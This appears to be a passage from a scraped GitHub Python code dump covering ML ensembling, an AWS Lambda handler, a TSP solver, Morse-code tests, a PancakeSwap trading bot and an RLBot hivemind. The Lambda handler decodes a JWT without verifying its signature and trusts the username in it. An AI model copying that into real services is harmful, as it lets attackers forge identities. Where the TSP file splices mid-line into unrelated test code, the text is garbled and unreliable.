p.wait()\n","repo_name":"AnamTahir7/mfc_large_queueing_systems","sub_path":"main_eval_policy.py","file_name":"main_eval_policy.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7978009567","text":"import pickle\nimport argparse\nimport csv\nimport os\n\nimport numpy as np\n\nCLASSES = [f\"{i:0>4d}\" for i in range(5000)]\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Ensemble Learning')\n parser.add_argument('--pkls', nargs='+', default=[], help='Ensemble results')\n parser.add_argument('--pkls-dir', default=None, help='Ensemble results')\n parser.add_argument('--nopkls', nargs='+', default=[], help='Ensemble results')\n parser.add_argument('--out', default=\"pred_results.csv\", help='output path')\n parser.add_argument('--dump', default=None, help='dump to list results.')\n parser.add_argument('--dump-all', default=None, help='dump to all dict results.')\n parser.add_argument('--factor', default=1.0, type=float, help='The factor to scale acc')\n parser.add_argument('--scale', action='store_true')\n args = parser.parse_args()\n assert len(args.pkls) != 0 or args.pkls_dir is not None\n return args\n\ndef loda_pkl(pkl_path, data_dict, num_models, acc=1.0):\n print(f\"Process {pkl_path}.......\")\n with open(pkl_path, 'rb') as pkl_file:\n data = pickle.load(pkl_file)\n for item in data:\n if item['filename'] in data_dict:\n data_dict[item['filename']] += item['scores'] / num_models * acc\n else:\n data_dict[item['filename']] = item['scores'] / num_models * acc\n return data\n\ndef post_process(data_dict):\n result_list = []\n for filename, scores in data_dict.items():\n pred_label = np.argmax(scores)\n pred_class = CLASSES[pred_label]\n result_list.append( (filename, pred_class, scores ) )\n return result_list\n\ndef main():\n args = parse_args()\n pkls = []\n if len(args.pkls) > 0:\n pkls += args.pkls\n if args.pkls_dir is not None:\n pkls += [\n os.path.join(args.pkls_dir, p) for p in os.listdir(args.pkls_dir)\n if p.endswith(\".pkl\")\n ]\n if len(args.nopkls) > 0:\n for nopkl in args.nopkls:\n if nopkl.endswith(\".pkl\"):\n pkls.remove(nopkl)\n\n num_models = len(pkls)\n print(f\"Number of .pkls is {num_models}....\")\n assert num_models > 0\n\n data_dict = dict()\n accs = [float(pkl.split('.')[0].split('-')[-1]) for pkl in pkls]\n if args.scale:\n min_adjust_accs = [pow(acc / min(accs), args.factor) for acc in accs]\n else:\n min_adjust_accs = [1 for _ in accs]\n\n print(f\"Adjusted factor is: {min_adjust_accs}\")\n for pkl, acc in zip(pkls, min_adjust_accs):\n loda_pkl(pkl, data_dict, num_models, acc)\n\n result_list = post_process(data_dict)\n\n if args.dump:\n assert args.dump.endswith(\".pkl\")\n with open(args.dump, \"wb\") as dumpfile:\n import pickle\n pickle.dump(result_list, dumpfile)\n\n if args.dump_all:\n assert args.dump_all.endswith(\".pkl\")\n with open(args.dump_all, \"wb\") as dumpfile:\n import pickle\n pickle.dump(data_dict, dumpfile)\n\n assert args.out and args.out.endswith(\".csv\")\n with open(args.out, \"w\") as csvfile:\n writer = csv.writer(csvfile)\n for result in result_list:\n writer.writerow(result[:2])\n\nif __name__ == '__main__':\n main()\n","repo_name":"Ezra-Yu/ACCV2022_FGIA_1st","sub_path":"tools/emsemble.py","file_name":"emsemble.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"82"} +{"seq_id":"38054111399","text":"import json\nimport jwt\nimport boto3\n\ndef lambda_handler(event, context):\n \n jwtData = jwt.decode(event['headers']['Authorization'], options={\"verify_signature\": False})\n user_id = jwtData['cognito:username']\n print(user_id)\n \n try:\n event_body = json.loads(event[\"body\"])\n \n clientDb = boto3.client('dynamodb')\n job_update = clientDb.update_item(\n TableName='user_data',\n Key={\n 'user_id': {'S': user_id}\n },\n UpdateExpression=\"set folders=:t\",\n ExpressionAttributeValues={\n ':t': event_body[\"folders\"]\n },\n ReturnValues=\"NONE\"\n )\n return {\n 'statusCode': 204,\n 'headers': {\n \"Access-Control-Allow-Origin\": \"*\"\n \n },\n 'body': json.dumps('Successfully Updated!!')\n }\n except Exception as ex:\n return {\n 'statusCode': 500,\n 'headers': {\n \"Access-Control-Allow-Origin\": \"*\"\n \n },\n 'body': json.dumps(str(ex))\n }","repo_name":"BLasan/ExecutiveAI","sub_path":"Lambda-Functions/deleteFolder-1d920161-c001-47d6-8b9f-b33d0942e8ad/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11338911795","text":"class BlowerdoorData:\n def __init__(self, path, docName, location, customer, pdfDate, blowerdoorDate, inDocumentDate=None):\n self.path = path\n self.docName = docName\n self.location = location\n self.customer = customer\n self.blowerdoorDate = blowerdoorDate\n self.pdfDate = pdfDate\n self.inDocumentDate = inDocumentDate\n\n self.outdated = False\n self.done = False\n\n \n#print(\"Bauort: \" + location)\n#print(\"Bauherr: \" + customer)\n#print(\"Blowerdoor: \" + blowerdoorDate)\n","repo_name":"FAUSheppy/ths-blowerdoor-raven","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40308242712","text":"from mapa import Mapa\n\n# TSP con algoritmo de búsqueda exhaustivo (exponencial).\n# El recorrido debe empezar y terminar en la ciudad indicada.\ndef tsp_exhaustivo(mapa, ciudad):\n cs = mapa.obtener_ciudades()\n cs.remove(ciudad) # ciudades que resta visitar\n return tsp_exhaustivo_aux(mapa, cs, [ciudad])\n\n# Función auxiliar de TSP exhaustivo por backtracking.\n# ciudades_faltantes es un conjunto de ciudades que aún no se visitaron.\n# recorrido_actual es la lista de ciudades visitadas hasta ahora.\n# Obs: El recorrido debe terminar en recorrido_actual[0] (la primera\n# ciudad).\ndef tsp_exhaustivo_aux(mapa, ciudades_faltantes, recorrido_actual):\n mejor_recorrido = None\n menor_distancia = float('inf') # infinito\n \n if len(ciudades_faltantes)==0:\n # Caso base: terminamos de visitar las ciudades.\n # Devolvemos el recorrido actual (luego de agregarle la vuelta a la\n # ciudad de origen) como el mejor recorrido encontrado en esta rama\n # de la búsqueda.\n mejor_recorrido = recorrido_actual.copy()\n mejor_recorrido.append(recorrido_actual[0])\n else:\n # Todavía quedan ciudades por visitar, hacemos BT una por una.\n for c in ciudades_faltantes.copy(): \n # Obs: Hacemos .copy() porque vamos a modificar\n # ciudades_faltantes en el cuerpo del ciclo.\n # Sin .copy(), Python daría error.\n # Paso para adelante.\n recorrido_actual.append(c)\n ciudades_faltantes.remove(c)\n \n # 're' es el mejor recorrido encontrado recursivamente si seguimos\n # el recorrido actual por la ciudad c.\n re = tsp_exhaustivo_aux(mapa, ciudades_faltantes, recorrido_actual)\n di = mapa.distancia_de_recorrido(re)\n\n # Si el recorrido 're' es el de menor distancia (hasta ahora), \n # lo recordamos.\n if di < menor_distancia:\n mejor_recorrido = re\n menor_distancia = di\n\n # Paso para atrás.\n ciudades_faltantes.add(c)\n recorrido_actual.pop()\n\n return mejor_recorrido\n\n#######################################################################\n\nif __name__==\"__main__\":\n mapa1 = Mapa()\n mapa1.agregar_ciudad('a')\n mapa1.agregar_ciudad('b')\n mapa1.agregar_ciudad('c')\n mapa1.agregar_ciudad('d')\n mapa1.agregar_ciudad('e')\n mapa1.agregar_camino('a', 'b', 2)\n mapa1.agregar_camino('a', 'c', 5)\n mapa1.agregar_camino('a', 'd', 1)\n mapa1.agregar_camino('a', 'e', 3)\n mapa1.agregar_camino('b', 'c', 1)\n mapa1.agregar_camino('b', 'd', 3)\n mapa1.agregar_camino('b', 'e', 9)\n mapa1.agregar_camino('c', 'd', 1)\n mapa1.agregar_camino('c', 'e', 4)\n mapa1.agregar_camino('d', 'e', 2)\n\n import random\n random.seed(1)\n mapa2 = Mapa()\n ciudades = list('abcdefghij')\n for x in ciudades:\n mapa2.agregar_ciudad(x)\n for x in ciudades:\n for y in ciudades:\n if x 0:\n rand_whitespace_list = [' ' * rand_whitespace_length]\n\n while len(rand_list) < rand_len:\n # generate a NON-EMPTY list of Morse chars, i.e. of length AT LEAST 1, by randomly selecting a partial length of at least 1.\n # -> this ensures that we NEVER generate Morse strings with consecutive ' ' spaces in between Morse characters.\n rand_partial_length = random.randint(1, 2 + rand_len // 10)\n rand_partial_list = random.choices(MORSE_KEYS, k=rand_partial_length)\n rand_list.extend(rand_partial_list)\n # APPEND A SINGLE ' ' CHAR, which corresponds to adding a single **THREE SPACE STRING** in final string,\n # Why? -> because we will ' '.join() the list with ' ' so that the appended space ' ' chars will become ' ' in the resulting string.\n # This is because we don't want multiple occurences of triple-spaces between 2 NON-EMPTY words of Morse chars\n # i.e. \"--- ...\" <- we don't want this possibility.\n rand_list.append(' ')\n\n if rand_whitespace_length > 0:\n return ' '.join(rand_whitespace_list + rand_list + rand_whitespace_list)\n else:\n return ' '.join(rand_list)\n\n def rnd_tests(n_tests, min_len, max_len):\n msg = \"Should obtain correct decoding of Morse code for {} random examples with {} <= approximate Morse code length <= {}\"\n\n @test.it(msg.format(n_tests, min_len, max_len))\n def test_morse_random_examples():\n for _ in range(n_tests):\n rand_len = random.randint(min_len, max_len)\n rand_morse_code = get_random_morse(rand_len)\n exp = ref_decode(rand_morse_code)\n test.assert_equals(decode_morse(rand_morse_code), exp,\n \"Returned solution incorrect for randomly generated Morse code {}\".format(\n rand_morse_code))\n\n TESTS = [(10, 40, 80), (10, 80, 100), (10, 100, 200), (10, 200, 300), (10, 300, 400), (10, 400, 500)]\n for args in TESTS:\n rnd_tests(*args)","repo_name":"K-1105/Codewars","sub_path":"Decode the Morse code/test_decode_the_morse_code.py","file_name":"test_decode_the_morse_code.py","file_ext":"py","file_size_in_byte":6346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1080919511","text":"class Solution:\n def solution(self, masks):\n n = len(masks) # 비트마스크판의 갯수 \n m = len(masks[0]) # 비트마스크판의 길이\n \n if n < 3:\n return 'NO'\n \n for j in range(m): # 두번쨰로 반복될게 바깥으로 간다. \n temp =[]\n for i in range(n): # 첫번째로 반복될게 안으로 들어가고\n temp.append(masks[i][j])\n \n # mask[0][0] , mask[1][0] , mask[2][0] 의 비교\n # 2차원 배열 데이터 뽑아내는것의 어려움. \n # i랑 j는 단순한 변수일뿐이고, 첫번째로 반복될것과 두번째로 반복될것이 핵심이다.\n # 헷갈린다면 첫번째로 반복될것을 i로 선언하는것이 차라리 좋을듯.\n \n \n # print(temp)\n if '0' not in temp: # 0포함여부 확인\n return 'NO'\n if temp.count('1') <2: # '1'의 갯수 확인 \n return 'NO'\n \n temp =[]\n \n \n return 'YES' # 두번째 반복문까지 모두 통과한 다음에야 yes를 리턴 \n \n # 키포인트\n # 2차원 배열 데이터 뽑아내기\n # '1'과 1, 문자와 숫자 항상 구분잘하기\n # 반복문과 return 위치 제대로 확인하기\n\n\n","repo_name":"pocokim/algo","sub_path":"python/oncoder/test8/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72110204749","text":"import click\n\n\ndef test_basic_defaults(runner):\n @click.command()\n @click.option(\"--foo\", default=42, type=click.FLOAT)\n def cli(foo):\n assert type(foo) is float\n click.echo(f\"FOO:[{foo}]\")\n\n result = runner.invoke(cli, [])\n assert not result.exception\n assert \"FOO:[42.0]\" in result.output\n\n\ndef test_multiple_defaults(runner):\n @click.command()\n @click.option(\"--foo\", default=[23, 42], type=click.FLOAT, multiple=True)\n def cli(foo):\n for item in foo:\n assert type(item) is float\n click.echo(item)\n\n result = runner.invoke(cli, [])\n assert not result.exception\n assert result.output.splitlines() == [\"23.0\", \"42.0\"]\n\n\ndef test_nargs_plus_multiple(runner):\n @click.command()\n @click.option(\n \"--arg\", default=((1, 2), (3, 4)), nargs=2, multiple=True, type=click.INT\n )\n def cli(arg):\n for a, b in arg:\n click.echo(f\"<{a:d}|{b:d}>\")\n\n result = runner.invoke(cli, [])\n assert not result.exception\n assert result.output.splitlines() == [\"<1|2>\", \"<3|4>\"]\n\n\ndef test_multiple_flag_default(runner):\n \"\"\"Default default for flags when multiple=True should be empty tuple.\"\"\"\n\n @click.command\n # flag due to secondary token\n @click.option(\"-y/-n\", multiple=True)\n # flag due to is_flag\n @click.option(\"-f\", is_flag=True, multiple=True)\n # flag due to flag_value\n @click.option(\"-v\", \"v\", flag_value=1, multiple=True)\n @click.option(\"-q\", \"v\", flag_value=-1, multiple=True)\n def cli(y, f, v):\n return y, f, v\n\n result = runner.invoke(cli, standalone_mode=False)\n assert result.return_value == ((), (), ())\n\n result = runner.invoke(cli, [\"-y\", \"-n\", \"-f\", \"-v\", \"-q\"], standalone_mode=False)\n assert result.return_value == ((True, False), (True,), (1, -1))\n","repo_name":"pallets/click","sub_path":"tests/test_defaults.py","file_name":"test_defaults.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":14509,"dataset":"github-code","pt":"82"} +{"seq_id":"27533868497","text":"import pytest\nfrom playwright.sync_api import sync_playwright\n\n\ndef pytest_addoption(parser):\n parser.addoption('--browserr', action='store', default='chrome')\n parser.addoption('--headless', action='store', type=bool, default=False)\n\n\n@pytest.fixture(scope='function')\ndef page(browser):\n page = browser.new_page()\n yield page\n page.close()\n\n@pytest.fixture(scope='session')\ndef browser(request):\n print('browser is generating again and again ________________________________________')\n global browser\n\n browser_name = request.config.getoption('--browserr')\n\n play = sync_playwright().start()\n\n if browser_name == 'chrome':\n browser = play.chromium.launch(headless=request.config.getoption('--headless'))\n\n elif browser_name == 'firefox':\n browser = play.firefox.launch(headless=request.config.getoption('--headless'))\n\n elif browser_name == 'webkit':\n browser = play.webkit.launch(headless=request.config.getoption('--headless'))\n\n else:\n print(f\"{browser_name} browser is not available!\")\n\n yield browser\n\n browser.close()\n play.stop()\n","repo_name":"shailendraCoredge/PyConf_UI_Playwright","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"9041422973","text":"import os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport model.resnet.resnet as resnet\nfrom model.PCL.resnet_pcl import resnet18\n\ndef load_CRL_encoder(obs_space):\n resnet_baseplanes = 64\n backbone = \"resnet50\"\n hidden_size = 512\n\n visual_resnet = resnet.ResNetEncoder(\n obs_space,\n baseplanes=resnet_baseplanes,\n ngroups=resnet_baseplanes // 2,\n make_backbone=getattr(resnet, backbone),\n normalize_visual_inputs=False,\n spatial_shape=[256,256]\n )\n\n visual_encoder = nn.Sequential(\n visual_resnet,\n nn.Flatten(),\n nn.Linear(\n np.prod(visual_resnet.output_shape), hidden_size\n ),\n nn.ReLU(True),\n )\n #input(visual_resnet.state_dict().keys())\n ckpt_pth = os.path.join('model/CRL', 'CRL_pretrained_encoder_mp3d.pth')\n state_dict = torch.load(ckpt_pth, map_location='cpu')['state_dict']\n\n # from copy import deepcopy\n # new_state_dict = deepcopy(state_dict)\n # for k,v in state_dict.items():\n # v = new_state_dict.pop(k)\n # if \"model_encoder.backbone.\" in k:\n # split_idx = k.find(\"model_encoder.backbone.\") + len(\"model_encoder.backbone.\")\n # new_state_dict[k[split_idx:]] = v \n\n # torch.save({'state_dict':new_state_dict}, '/home/hongxin_li/hongxin_li@172.18.33.10/Github/EmbodiedUniT/model/CRL/CRL_pretrained_encoder_mp3d.pth')\n\n visual_encoder[0].backbone.load_state_dict(state_dict) # only load the ResNet50 backbone\n \n print(\"\\n\\033[0;33;40m[encoder_loaders] CRL pretrained model loaded\\033[0m\\n\")\n\n return visual_encoder\n\ndef load_PCL_encoder(feature_dim):\n visual_encoder = resnet18(num_classes=feature_dim)\n dim_mlp = visual_encoder.fc.weight.shape[1]\n visual_encoder.fc = nn.Sequential(nn.Linear(dim_mlp, dim_mlp), nn.ReLU(), visual_encoder.fc)\n ckpt_pth = os.path.join('model/PCL', 'PCL_encoder.pth')\n ckpt = torch.load(ckpt_pth, map_location='cpu')\n visual_encoder.load_state_dict(ckpt)\n\n print(\"\\n\\033[0;33;40m[encoder_loaders] PCL pretrained model loaded\\033[0m\\n\")\n return visual_encoder","repo_name":"Wzey2000/EmbodiedUniT","sub_path":"utils/encoder_loaders.py","file_name":"encoder_loaders.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27033931912","text":"\"\"\"\nhttps://github.com/manuelhb14/cake_uni_transaction_bot\n\"\"\"\nfrom web3 import Web3\nfrom system.load_data import load_data\n\nimport json\nimport time\nimport sys\n\n\n# bsc = \"https://bsc-dataseed.binance.org/\"\n# web3 = Web3(Web3.HTTPProvider(bsc))\nmy_address = load_data('auth/auth.yml')['WALLET_ADDRESS']\n\n\ndef connect():\n try:\n w3 = Web3(Web3.HTTPProvider(\"https://bsc-dataseed.binance.org/\"))\n\n except Exception as e:\n print(f\"Not a valid network...\\nSupports only bsc-mainnet network\\n{e}\")\n sys.exit()\n return w3\n\n\ndef get_bnb_balance(wallet_address=my_address):\n w3 = connect()\n balance = w3.eth.getBalance(wallet_address)\n return w3.fromWei(balance, 'ether')\n\n\ndef get_token_balance(token, wallet_address=my_address):\n w3 = connect()\n\n token_address = load_data('config/coins.yml')['COINS_CONTRACT'][token]\n get_token_abi = load_data('config/pancake.yml')['GET_TOKEN_ABI']\n\n token_checksum_address = w3.toChecksumAddress(token_address)\n token_contract = w3.eth.contract(token_checksum_address, abi=get_token_abi)\n\n balance = token_contract.functions.balanceOf(wallet_address).call()\n return w3.fromWei(balance, 'ether')\n\n\nclass TxnBot:\n def __init__(self, token, slippage=0.5, gas_price=5, wallet_address=my_address):\n self.w3 = connect()\n\n # self.address = load_data('auth/auth.yml')['WALLET_ADDRESS']\n self.address = wallet_address\n self.private_key = load_data('auth/auth.yml')['PRIVATE_KEY']\n\n token_address = load_data('config/coins.yml')['COINS_CONTRACT'][token]\n self.token_address = Web3.toChecksumAddress(token_address)\n\n self.token_contract = self.set_token_contract()\n self.router_address, self.router = self.set_router()\n self.slippage = 1 - (slippage / 100)\n self.gas_price = Web3.toWei(gas_price, 'gwei')\n\n # print(f\"Current balance of {self.token_contract.functions.symbol().call()}: \"\n # f\"{Web3.fromWei(self.token_contract.functions.balanceOf(self.address).call(), 'ether')}\")\n\n def set_router(self):\n pancakeswap_outer_contract_address = load_data('config/pancake.yml')['ROUTER_CONTRACT_ADDRESS']\n router_address = Web3.toChecksumAddress(pancakeswap_outer_contract_address) # mainnet router\n with open(\"./abis/pancakeRouter.json\") as f:\n contract_abi = json.load(f)['abi']\n router = self.w3.eth.contract(address=router_address, abi=contract_abi)\n\n return router_address, router\n\n def set_token_contract(self):\n token_address = Web3.toChecksumAddress(self.token_address)\n with open(\"./abis/bep20_abi_token.json\") as f:\n contract_abi = json.load(f)\n token_contract = self.w3.eth.contract(address=token_address, abi=contract_abi)\n\n return token_contract\n\n def get_amounts_out_buy(self, quantity):\n buy = self.router.functions.getAmountsOut(\n int(Web3.toWei(quantity, 'ether') * self.slippage),\n [self.router.functions.WETH().call(), self.token_address]\n ).call()\n\n return buy\n\n def get_amounts_out_sell(self, quantity):\n sell = self.router.functions.getAmountsOut(\n int(Web3.toWei(quantity, 'ether') * self.slippage),\n [self.token_address, self.router.functions.WETH().call()]\n ).call()\n\n return sell\n\n def get_amounts_out_sell1(self):\n sell = self.router.functions.getAmountsOut(\n self.token_contract.functions.balanceOf(self.address).call(),\n [self.token_address, self.router.functions.WETH().call()]\n ).call()\n\n return sell\n\n def approve(self):\n txn_approve = self.token_contract.functions.approve(\n self.router_address,\n 2 ** 256 - 1\n ).buildTransaction(\n {'from': self.address,\n 'gas': 250000,\n 'gasPrice': self.gas_price,\n 'nonce': self.w3.eth.getTransactionCount(self.address),\n 'value': 0}\n )\n\n signed_txn = self.w3.eth.account.sign_transaction(txn_approve, self.private_key)\n\n # txn = self.w3.eth.sendRawTransaction(signed_txn.rawTransaction)\n # print(f'approve: {txn.hex()}')\n # txn_receipt = self.w3.eth.waitForTransactionReceipt(txn)\n # print(txn_receipt)\n\n # Wait after approve 10 seconds before sending transaction\n time.sleep(10)\n\n def buy_token(self, quantity):\n txn = self.router.functions.swapExactETHForTokens(\n self.get_amounts_out_buy(quantity)[-1],\n [self.router.functions.WETH().call(), self.token_address],\n bytes.fromhex(self.address[2:]),\n int(time.time()) + 10 * 60 # 10 min limit\n ).buildTransaction(\n {'from': self.address,\n 'gas': 250000,\n 'gasPrice': self.gas_price,\n 'nonce': self.w3.eth.getTransactionCount(self.address),\n 'value': Web3.toWei(quantity, 'ether')}\n )\n\n signed_txn = self.w3.eth.account.sign_transaction(\n txn,\n self.private_key\n )\n\n txn = self.w3.eth.sendRawTransaction(signed_txn.rawTransaction)\n # txn_receipt = self.w3.eth.waitForTransactionReceipt(txn)\n\n return Web3.toHex(txn)\n\n def sell_token(self, quantity):\n self.approve()\n\n txn = self.router.functions.swapExactTokensForETHSupportingFeeOnTransferTokens(\n Web3.toWei(quantity, 'ether'),\n 0,\n [self.token_address, self.router.functions.WETH().call()],\n self.address,\n int(time.time()) + 10 * 60 # 10 min limit\n ).buildTransaction(\n {'from': self.address,\n 'gas': 250000,\n 'gasPrice': self.gas_price,\n 'nonce': self.w3.eth.getTransactionCount(self.address)}\n )\n\n signed_txn = self.w3.eth.account.sign_transaction(\n txn,\n self.private_key\n )\n\n txn = self.w3.eth.sendRawTransaction(signed_txn.rawTransaction)\n # print(f'sell txn: {txn.hex()}')\n # txn_receipt = self.w3.eth.waitForTransactionReceipt(txn)\n # print(txn_receipt)\n\n return Web3.toHex(txn)\n\n def sell_token_max(self):\n self.approve()\n\n txn = self.router.functions.swapExactTokensForETH(\n self.token_contract.functions.balanceOf(self.address).call(),\n int(self.get_amounts_out_sell1()[-1] * self.slippage),\n [self.token_address, self.router.functions.WETH().call()],\n bytes.fromhex(self.address[2:]),\n int(time.time()) + 10 * 60 # 10 min limit\n ).buildTransaction(\n {'from': self.address,\n 'gas': 250000,\n 'gasPrice': self.gas_price,\n 'nonce': self.w3.eth.getTransactionCount(self.address),\n 'value': 0}\n )\n\n signed_txn = self.w3.eth.account.sign_transaction(\n txn,\n self.private_key\n )\n\n txn = self.w3.eth.sendRawTransaction(signed_txn.rawTransaction)\n # print(txn.hex())\n # txn_receipt = self.w3.eth.waitForTransactionReceipt(txn)\n # print(txn_receipt)\n\n return Web3.toHex(txn)\n\n def get_token_price(self, pairing='BUSD'):\n pairing_address = load_data('config/coins.yml')['COINS_CONTRACT'][pairing]\n pairing_address = Web3.toChecksumAddress(pairing_address)\n\n price = self.router.functions.getAmountsOut(\n int(1 * 10 ** 18),\n [self.token_address, pairing_address]\n ).call()[1]\n return Web3.fromWei(price, 'ether')\n\n # def get_bnb_balance(self):\n # balance = self.token_contract.functions.balanceOf(self.address).call()\n # print(f'balance: {balance}')\n # return self.token_contract.functions.balanceOf(self.address).call() / (10 ** self.token_contract.functions.decimals().call())\n #\n # def get_token_balance(self):\n # # balance = self.token_contract.functions.balanceOf(self.address).call()\n # # print(f'balance: {balance}')\n # return 1.2\n\n # def get_bnb_balance(self):\n # balance = web3.eth.getBalance(self.address)\n # # print(f\"Current balance of {self.token_contract.functions.symbol().call()}: \")\n # # balance = self.token_contract.functions.balanceOf(self.address)().call()\n # return Web3.fromWei(balance, 'ether')\n #\n # def get_token_balance(self):\n # token_contract = self.token_contract.functions.balanceOf(self.address).call()\n # balance = token_contract.functions.balanceOf(self.address).call()\n # return self.w3.fromWei(balance, 'ether')\n","repo_name":"Jolium/pancakeswap-bot","sub_path":"service/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":8645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"3592594118","text":"#1844. Replace All Digits with Characters\n#related topics\n#string\n\n\ns = \"a1c1e1\"\ns2 = \"a1b2c3d4e\"\n#first solution\ndef replaceDigits(s):\n s = list(s)\n for i in range(1, len(s),2):\n shifted = chr(int(s[i]) + ord(s[i-1]))\n s[i]=shifted\n return \"\".join(s)\n \n\n\nprint(replaceDigits(s))\nprint(replaceDigits(s2))\n\n\n#second solution\ndef replaceDigits2(s):\n a=''\n for i in range(1, len(s),2):\n shifted = chr(int(s[i]) + ord(s[i-1]))\n a+=s[i-1]+shifted\n return a if len(s)%2==0 else a+s[len(s)-1]\n\nprint(replaceDigits2(s))\nprint(replaceDigits2(s2))","repo_name":"omertasgithub/data-structures-and-algorithms","sub_path":"leet code/Math/1844. Replace All Digits with Characters.py","file_name":"1844. Replace All Digits with Characters.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74187973387","text":"import traceback\nimport random\nfrom typing import Dict\nfrom rlbot.agents.hivemind.drone_agent import DroneAgent\nfrom rlbot.agents.hivemind.python_hivemind import PythonHivemind\nfrom rlbot.utils.structures.bot_input_struct import PlayerInput\nfrom rlbot.utils.structures.game_data_struct import GameTickPacket\n\n# Dummy agent to call request MyHivemind.\nfrom gamemodes import run_1v1, run_hivemind\nfrom objects import CarObject, BoostObject, BallObject, GoalObject, GameObject, Vector3\nfrom utils import distance\n\n\nclass Drone(DroneAgent):\n hive_path = __file__\n hive_key = 'TheGame'\n hive_name = 'Reddit'\n\n\nclass MyHivemind(PythonHivemind):\n\n def __init__(self, agent_metadata_queue, quit_event, options):\n super().__init__(agent_metadata_queue, quit_event, options)\n self.logger.info('Initialised!')\n self.team: int = -1\n\n # A list of cars for both teammates and opponents\n self.friends: [CarObject] = []\n self.foes: [CarObject] = []\n # This holds the carobjects for our agent\n self.drones: [CarObject] = []\n self.ball: BallObject = BallObject()\n self.game: GameObject = GameObject()\n # A list of boosts\n self.boosts: [BoostObject] = []\n # goals\n self.friend_goal: GoalObject = None\n self.foe_goal: GoalObject = None\n # Game time\n self.time: float = 0.0\n self.odd_tick = 0\n # Whether or not GoslingAgent has run its get_ready() function\n self.ready: bool = False\n # a flag that tells us when kickoff is happening\n self.kickoff_flag: bool = False\n self.prev_kickoff_flag: bool = False\n self.conceding: bool = False\n # If true we will go for more stuff\n # Initialized as true since we are always desperate\n self.desperate = False\n\n def initialize_hive(self, packet: GameTickPacket) -> None:\n # Find out team by looking at packet.\n # drone_indices is a set, so you cannot just pick first element.\n index = next(iter(self.drone_indices))\n self.team = packet.game_cars[index].team\n self.drones = [CarObject(i, packet) for i in self.drone_indices]\n # goals\n self.friend_goal = GoalObject(self.team)\n self.foe_goal = GoalObject(not self.team)\n\n def get_ready(self, packet: GameTickPacket):\n # Preps all of the objects that will be updated during play\n field_info = self.get_field_info()\n for i in range(field_info.num_boosts):\n boost = field_info.boost_pads[i]\n self.boosts.append(BoostObject(i, boost.location, boost.is_full_boost))\n self.refresh_player_lists(packet)\n self.ball.update(packet)\n self.ready = True\n\n def refresh_player_lists(self, packet: GameTickPacket):\n # makes new friend/foe lists\n # Useful to keep separate from get_ready because humans can join/leave a match\n drone_indices = [drone.index for drone in self.drones]\n self.friends = [CarObject(i, packet) for i in range(packet.num_cars) if\n packet.game_cars[i].team == self.team and i not in drone_indices]\n self.foes = [CarObject(i, packet) for i in range(packet.num_cars) if packet.game_cars[i].team != self.team]\n\n def line(self, start: Vector3, end: Vector3, color=None):\n color = color if color is not None else self.renderer.grey()\n self.renderer.draw_line_3d(start.copy(), end.copy(),\n self.renderer.create_color(255, *color) if type(color) in {list, tuple} else color)\n\n def preprocess(self, packet: GameTickPacket):\n # Calling the update functions for all of the objects\n if packet.num_cars != len(self.friends) + len(self.foes) + len(self.drones):\n self.refresh_player_lists(packet)\n for car in self.friends:\n car.update(packet)\n for car in self.foes:\n car.update(packet)\n for pad in self.boosts:\n pad.update(packet)\n for drone in self.drones:\n drone.update(packet)\n self.desperate = sum([car.goals for car in self.foes]) > sum([car.goals for car in self.friends]) + 1\n self.ball.update(packet)\n self.game.update(packet)\n self.time = packet.game_info.seconds_elapsed\n self.odd_tick += 1\n if self.odd_tick > 3:\n self.odd_tick = 0\n self.prev_kickoff_flag = self.kickoff_flag\n self.kickoff_flag = self.game.kickoff and self.game.round_active\n if not self.prev_kickoff_flag and self.kickoff_flag:\n for drone in self.drones:\n drone.clear()\n for drone in self.drones:\n drone.on_side = (drone.location - self.friend_goal.location).magnitude() < (\n self.ball.location - self.friend_goal.location).magnitude()\n drone.ball_prediction_struct = self.get_ball_prediction_struct()\n for friend in self.friends:\n friend.on_side = (friend.location - self.friend_goal.location).magnitude() < (\n self.ball.location - self.friend_goal.location).magnitude()\n for foe in self.foes:\n foe.on_side = (foe.location - self.friend_goal.location).magnitude() < (\n self.ball.location - self.friend_goal.location).magnitude()\n ball = self.ball.location\n sorted_by_dist = sorted([*self.friends, *self.drones], key=lambda bot: distance(bot.location, ball))\n sorted_by_dist_on_side = [bot for bot in sorted_by_dist if bot.on_side]\n if len(sorted_by_dist_on_side) > 0:\n sorted_by_dist_on_side[0].closest = True\n if len(sorted_by_dist_on_side) > 1:\n sorted_by_dist_on_side[1].second_closest = True\n self.conceding = False\n ball_prediction = self.get_ball_prediction_struct()\n for i in range(ball_prediction.num_slices):\n prediction_slice = ball_prediction.slices[i]\n physics = prediction_slice.physics\n if physics.location.y * self.side() > 5120:\n self.conceding = True\n break\n # Tells us when to go for kickoff\n\n def get_outputs(self, packet: GameTickPacket) -> Dict[int, PlayerInput]:\n # Get ready, then preprocess\n if not self.ready:\n self.get_ready(packet)\n 